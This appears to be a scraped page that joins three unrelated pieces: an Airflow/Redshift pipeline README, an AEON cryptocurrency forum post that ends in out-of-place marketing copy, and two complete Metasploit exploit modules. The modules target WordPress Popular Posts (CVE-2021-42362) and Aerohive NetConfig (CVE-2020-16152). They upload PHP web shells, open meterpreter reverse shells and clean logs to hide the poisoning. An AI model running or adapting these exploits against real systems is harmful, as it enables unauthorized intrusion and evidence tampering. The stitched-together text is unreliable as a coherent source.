Airflow UI automatically parses our DAG and creates a natural representation for the movement and transformation of data. A DAG simply is a collection of all the tasks you want to run, organized in a way that reflects their relationships and dependencies. A DAG describes how you want to carry out your workflow, and Operators determine what actually gets done. By default, airflow comes with some simple built-in operators like PythonOperator, BashOperator, DummyOperator etc., however, airflow lets you extend the features of a BaseOperator and create custom operators. For this project, I developed several custom operators. operators The description of each of these operators follows: StageToRedshiftOperator: Stages data to a specific redshift cluster from a specified S3 location. Operator uses templated fields to handle partitioned S3 locations. LoadFactOperator: Loads data to the given fact table by running the provided sql statement. Supports delete-insert and append style loads. LoadDimensionOperator: Loads data to the given dimension table by running the provided sql statement. Supports delete-insert and append style loads. SubDagOperator: Two or more operators can be grouped into one task using the SubDagOperator. Here, I am grouping the tasks of checking if the given table has rows and then run a series of data quality sql commands. HasRowsOperator: Data quality check to ensure that the specified table has rows. DataQualityOperator: Performs data quality checks by running sql statements to validate the data. SongPopularityOperator: Calculates the top ten most popular songs for a given interval. The interval is dictated by the DAG schedule. UnloadToS3Operator: Stores the analysis result back to the given S3 location. Code for each of these operators is located in the plugins/operators directory. Pipeline Schedule and Data Partitioning: The events data residing on S3 is partitioned by year (2018) and month (11). Our task is to incrementally load the event json files, and run it through the entire pipeline to calculate song popularity and store the result back into S3. In this manner, we can obtain the top songs per day in an automated fashion using the pipeline. Please note, this is a trivial analyis, but you can imagine other complex queries that follow similar structure. S3 Input events data: s3://<bucket>/log_data/2018/11/ 2018-11-01-events.json 2018-11-02-events.json 2018-11-03-events.json .. 2018-11-28-events.json 2018-11-29-events.json 2018-11-30-events.json S3 Output song popularity data: s3://skuchkula-topsongs/ songpopularity_2018-11-01 songpopularity_2018-11-02 songpopularity_2018-11-03 ... songpopularity_2018-11-28 songpopularity_2018-11-29 songpopularity_2018-11-30 The DAG can be configured by giving it some default_args which specify the start_date, end_date and other design choices which I have mentioned above. default_args = { 'owner': 'shravan', 'start_date': datetime(2018, 11, 1), 'end_date': datetime(2018, 11, 30), 'depends_on_past': False, 'email_on_retry': False, 'retries': 3, 'retry_delay': timedelta(minutes=5), 'catchup_by_default': False, 'provide_context': True, } How to run this project? Step 1: Create AWS Redshift Cluster using either the console or through the notebook provided in create-redshift-cluster Run the notebook to create AWS Redshift Cluster. Make a note of: DWN_ENDPOINT :: dwhcluster.c4m4dhrmsdov.us-west-2.redshift.amazonaws.com DWH_ROLE_ARN :: arn:aws:iam::506140549518:role/dwhRole Step 2: Start Apache Airflow Run docker-compose up from the directory containing docker-compose.yml. Ensure that you have mapped the volume to point to the location where you have your DAGs. NOTE: You can find details of how to manage Apache Airflow on mac here: https://gist.github.com/shravan-kuchkula/a3f357ff34cf5e3b862f3132fb599cf3 start_airflow Step 3: Configure Apache Airflow Hooks On the left is the S3 connection. The Login and password are the IAM user's access key and secret key that you created. Basically, by using these credentials, we are able to read data from S3. On the right is the redshift connection. These values can be easily gathered from your Redshift cluster connections Step 4: Execute the create-tables-dag This dag will create the staging, fact and dimension tables. The reason we need to trigger this manually is because, we want to keep this out of main dag. Normally, creation of tables can be handled by just triggering a script. But for the sake of illustration, I created a DAG for this and had Airflow trigger the DAG. You can turn off the DAG once it is completed. After running this DAG, you should see all the tables created in the AWS Redshift. Step 5: Turn on the load_and_transform_data_in_redshift dag As the execution start date is 2018-11-1 with a schedule interval @daily and the execution end date is 2018-11-30, Airflow will automatically trigger and schedule the dag runs once per day for 30 times. Shown below are the 30 DAG runs ranging from start_date till end_date, that are trigged by airflow once per day. schedule
BlockchainLabs / AeonAbout: AEON was launched on 6.6.2014 at 6:00 PM UTC, with no premine or instamine. AEON is for people who want to pay and live freely, who want to be part of the cryptocurrency revolution and want to try something new. It is based on the CryptoNote protocol and uses the CryptoNight-Lite[1] algorithm, and features: - True anonymity & data protection - Untraceable payments uses ring signature - Unlinkable transactions with random data by the sender - Blockchain analysis resistant - CPU/GPU mining, ASIC-resistant Roadmap April 26, 2015 - new roadmap announced Mobile-friendly PoW and block time (released) GUI wallet (in progress) 32-bit and ARM support (released, but requires low memory footprint below) Low memory footprint (in progress) Signature trimming Blockchain pruning (test release available) Multisig and payment channels (instant payments) Development Team: Lead developer: smooth Release engineering, Q/A, support: Arux Other roles: open (PM smooth) Original developer (as Monero fork): anonymous Bounties: None currently open. You can send donations for the AEON bounty fund and development. Code: AEON address: WmsSWgtT1JPg5e3cK41hKXSHVpKW7e47bjgiKmWZkYrhSS5LhRemNyqayaSBtAQ6517eo5PtH9wxHVmM78JDZSUu2W8PqRiNs View Key: 71bf19a7348ede17fa487167710dac401ef1556851bfd36b76040facf051630b Specifications: PoW algorithm: CryptoNight-Lite[1] Max supply: ~18.4 million[2] Block reward: Smoothly varying using the formula (M−A) / (218) / (1012) where M = 264 −1 and A = supply mined to date.[3] Block time: 240 seconds[3] Difficulty: Retargets at every block RPC-bind-port: 11180 P2P-bind-port: 11181 Downloads: Current release 0.9.6.0 (source code, 64 bit Windows binaries) bootstrap for linux-x64 (by community member Phantas 2016-03-10) bootstrap for Windows-x64 (by community member Phantas 2016-03-11) bootstrap for OS X (by community member sammy007 2015-08-08) GUI for Windows 0.2.3 (by community member h0g0f0g0, src.zip, sha1) Instructions to compile on Windows (provided by community member cryptrol): see bottom of this post Recommended: Use caution with community-provided downloads, check reputation and scan for malware Recommended: Use the --donate option when starting the daemon to donate a portion of your computer power to support the project and the network Links & Resources: Trading: - Bittrex - AEON/BTC - Cryptopia - AEON/BTC (also has DOGE and LTC pairs) - OTC thread - AEON/XMR - Speculation thread (moderated by americanpegasus) Pools: - http://52.8.47.33:8080 - Arux's personal pool (2% fee) - http://98.238.231.31:9000 - The Cryptophilanthropist (2% fee) Block Explorers: - Chainradar - Minergate Community: - Reddit - Steem - Twitter - IRC channel #aeon @ Freenode (Webchat Link) Dead Links / Outdated: cryptocointalk white paper Mining: 1. Compile from source code. 2. Launch aeond and wait until it is synchronized. 3. Launch simplewallet --generate-new-wallet=wallet_name.bin --pass=12345 4. Start mining from the wallet using start_mining command Windows Compilation: (provided by community member cryptrol) Compile steps for Windows x64 using MSVC First of all let's get all the tools we need : - Download and install Microsoft Visual Studio Community 2013 (It's a free version of visual studio with some license limitations). You can uncheck the web development tools and SQL tools since you won't use them for building AEON. This will take time to download and install and you will have to reboot upon completion. - Download and install cMake for windows from : http://www.cmake.org/download/ (Win32 install) - Download Boost 1.57 from http://www.boost.org/users/download/ , use the zip or 7zip archive and extract. You can use c:\boost_1_57_0 since this is what I am using for this steps. - Download and install Github for Windows from https://windows.github.com/ (This also includes a Git shell that we will use later). Now the nasty part compile & build time ! - Build Boost : Open a command line and type : Code: > cd c:\boost_1_57_0 > bootstrap.bat > b2 --toolset=msvc variant=release link=static threading=multi runtime-link=static address-model=64 - Open the Git Shell (or Git bash) depending what you downloaded previously and do. Code: > git clone https://github.com/aeonix/aeon.git > cd aeon > mkdir build > cd build > cmake -G "Visual Studio 12 Win64" -DBOOST_ROOT=c:\boost_1_57_0 -DBOOST_LIBRARYDIR=c:\boost_1_57_0\stage\lib .. > MSBuild Project.sln /p:Configuration=release /m You should now find the exe files under build/src/release . Aeon isn't a cryptocurrency. It's a lifestyle. It's about polished perfection, attained by breaking the rules with calculated mastery of the art. It's about respecting history and pushing innovation forward at the same time. It's about more than just math: it's a vision of a world where luxury is the same as entry-level, and the limits are the heavens themselves. If you're just buying Aeon to get rich, don't even bother. Aeon needs more than just the next wave of crypto speculators: we're looking for the truly elite. But if you think you have what it takes to redefine global finance and discover new magnitudes of wealth in the process... Well, Aeon is ready for you. Are you ready for Aeon?
Nate0634034090 / Nate158g M W N L P D A O E### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passed check 1)') # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes. # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Responding to GET request (passed check 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions Rex.sleep(2) # wait for WP to finish all the checks it needs trigger_payload(on_disk_payload_name) end print_status("Received unexpected #{request.method} request") end def check_gd_installed(cookie) vprint_status('Checking if gd is installed') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Retrieving wpp_admin token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Updating popular posts settings for images') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_status('Clearing image cache') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 end def enable_custom_fields(cookie, custom_nonce, post) # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it. res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Creating new post') # get post ID and nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Created Post: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id # publish new post vprint_status("Writing content to Post: #{post_id}") # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Adding malicious metadata for redirect to #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirect as needed res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301 print_status("Sending #{post_count} views to #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after> (1..post_count).each do |_c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # just send away, who cares about the response fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res = send_request_cgi( # this URL varies from the POC on EDB, and is modeled after what the browser does 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { '_wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201 end fail_with(Failure::Unreachable, 'Site not responding') unless res end def get_top_posts print_status('Determining post with most views') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("Top Views: #{views}") views += 5 # make us the top post unless datastore['VISTS'].nil? print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}") views = datastore['VISITS'] end views end def get_widget # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond # which then would kill the exploit, so in this case we just keep trying. (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # load the widget directly (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Invalid login, check credentials') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Payload file name: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie) post_count = get_top_posts # we dont need to pass the cookie anymore since its now saved into http client token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Starting web server to handle request for image payload') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Waiting 90sec for cache refresh by server') Rex.sleep(90) print_status('Attempting to force loading of shell by visiting to homepage and loading the widget') res = get_widget print_good('We made it to the top!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.") # end # at this point, we rely on our web server getting requests to make the rest happen endend### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE', 'Description' => %q{ This module exploits LFI and log poisoning vulnerabilities (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a build-242466 and older in order to achieve unauthenticated remote code execution as the root user. NetConfig is the Aerohive/Extreme Networks HiveOS administrative webinterface. Vulnerable versions allow for LFI because they rely on a version of PHP 5 that is vulnerable to string truncation attacks. This module leverages this issue in conjunction with log poisoning to gain RCE as root. Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open. Closing the session should render the app responsive again. The module provides an automatic cleanup option to clean the log. However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed, may render the target (temporarily) unexploitable. This state can last over an hour. This module has been successfully tested against Aerohive NetConfig versions 8.2r4 and 10.0r7a. }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik de Jong', # github.com/eriknl - discovery and PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-16152'], # still categorized as RESERVED ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # analysis and PoC code ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' # this may be the only payload that works for this target' } } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-02-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'The base path to Aerohive NetConfig', '/']), OptBool.new('AUTO_CLEAN_LOG', [true, 'Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable', false]), ] end def auto_clean_log datastore['AUTO_CLEAN_LOG'] end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php5') }) unless res return CheckCode::Unknown('Connection failed.') end unless res.code == 200 && res.body.include?('Aerohive NetConfig UI') return CheckCode::Safe('Target is not an Aerohive NetConfig application.') end version = res.body.scan(/action="login\.php5\?version=(.*?)"/)&.flatten&.first unless version return CheckCode::Detected('Could not determine Aerohive NetConfig version.') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("The target is Aerohive NetConfig version #{version}") else print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.') return CheckCode::Safe("The target is Aerohive NetConfig version #{version}") end rescue StandardError => e return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}") end end def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # Poison /tmp/messages print_status('Attempting to poison the log at /tmp/messages...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages') end print_status('Server responded as expected. Continuing...') end def on_new_session(session) log_cleaned = false if auto_clean_log print_status('Attempting to clean the log file at /tmp/messages...') print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.') begin # We need remove the line containing the PHP system call from /tmp/messages # The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username. # Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line # The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same: # In both cases the app will likely stop writing to /tmp/messages for quite a while (could be over an hour), rendering the target unexploitable during that period. line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}" clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}" cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\ "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute('/bin/sh', "-c \"#{cmds_to_clean_log}\"") # Wait for cleanup Rex.sleep 5 # Check for the PHP system call in /tmp/messages messages_contents = session.fs.file.open('/tmp/messages').read.to_s # using =~ here produced unexpected results, so include? is used instead unless messages_contents.include?(@poison_cmd) log_cleaned = true end elsif session.type.to_s.eql?('shell') session.shell_command_token(cmds_to_clean_log.to_s) # Check for the PHP system call in /tmp/messages poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'") # using =~ here produced unexpected results, so include? is used instead unless poison_evidence.include?(@poison_cmd) log_cleaned = true end end rescue StandardError => e print_error("Error during cleanup: #{e.message}") ensure super end unless log_cleaned print_warning("Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages") end end if log_cleaned print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.') else print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}") print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.') print_warning('Deleting /tmp/messages or clearing out the file may break the application.') end end def execute_command(cmd, _opts = {}) print_status('Attempting to execute the payload') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # Trigger LFI through path truncation @shell_cmd_name => cmd } }, 0) print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.') end def exploit poison_log if target.arch.first == ARCH_CMD print_status('Executing the payload') execute_command(payload.encoded) else execute_cmdstager(background: true) end endend
